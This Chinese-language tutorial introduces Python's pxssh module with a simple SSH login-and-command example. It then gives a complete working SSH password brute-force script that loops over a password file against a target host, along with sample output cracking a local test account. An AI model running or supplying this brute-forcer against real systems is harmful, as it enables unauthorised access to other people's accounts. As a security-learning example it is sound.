pxssh模組——python

來源:互聯網
上載者:User

標籤:python   pxssh模組   

1、描述:

pxssh預先已經有了login()、logout()和prompt()等函數直接與ssh進行互動。


1.1 範例程式碼:

#匯入pxssh模組

import pxssh


def send_command(s,cmd):

#發送命令

    s.sendline(cmd)

#擷取期望的輸出提示符

    s.prompt()

#顯示返回資訊

    print s.before


def connect(host,user,password):

    try:

#建立pxssh對象

s = pxssh.pxssh()

#登陸ssh函數

s.login(host,user,password)

return s

    except:

print ‘[-] Error Connecting‘

exit(0)


s = connect(‘127.0.0.1‘,‘test‘,‘test‘)

send_command(s,‘ls /‘)


1.1 運行:

sshPxssh.py是程式的檔案名稱

[email protected]:/usr/python# python sshPxssh.py 

ls /

0     dev   initrd.imglost+found  opt    root  srv   tmpvmlinuz

bin   etc   libmedia    proc   run sys   usr

boot  home  live-buildmnt    p.txt  sbin  testfile  var


1.2 簡單ssh暴力破解程式

import pxssh

import optparse


def connect(host,user,password):

    print ‘[-] Testing: ‘ + password

    try:

s = pxssh.pxssh()

s.login(host,user,password)

print ‘[*] Password Found: ‘+password

    except:

print ‘[-] Error Connecting‘



def main():

    parser = optparse.OptionParser(‘usage %prog -H <host> -u <user> -F <passfile>‘)

    parser.add_option(‘-H‘,dest=‘tgtHost‘,type=‘string‘,help=‘specify target host‘)

    parser.add_option(‘-u‘,dest=‘user‘,type=‘string‘,help=‘specify the user‘)

    parser.add_option(‘-F‘,dest=‘passwdFile‘,type=‘string‘,help=‘passwod file‘)

    (options,args) = parser.parse_args()

    host = options.tgtHost

    passwdFile = options.passwdFile

    user = options.user

    fn = open(passwdFile,‘r‘)

    for line in fn.readlines():

password = line.strip(‘\r‘).strip(‘\n‘)

connect(host,user,password)


if __name__ == ‘__main__‘:

    main()

1.2 運行:

[email protected]:/usr/python# python sshBrute.py -H 127.0.0.1 -u test -F file.txt

[-] Testing: 1234

[-] Error Connecting

[-] Testing: 2222

[-] Error Connecting

[-] Testing: 4444

[-] Error Connecting

[-] Testing: 555

[-] Error Connecting

[-] Testing: tttt

[-] Error Connecting

[-] Testing: admin

[-] Error Connecting

[-] Testing: root

[-] Error Connecting

[-] Testing: test

[*] Password Found: test


pxssh模組——python

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.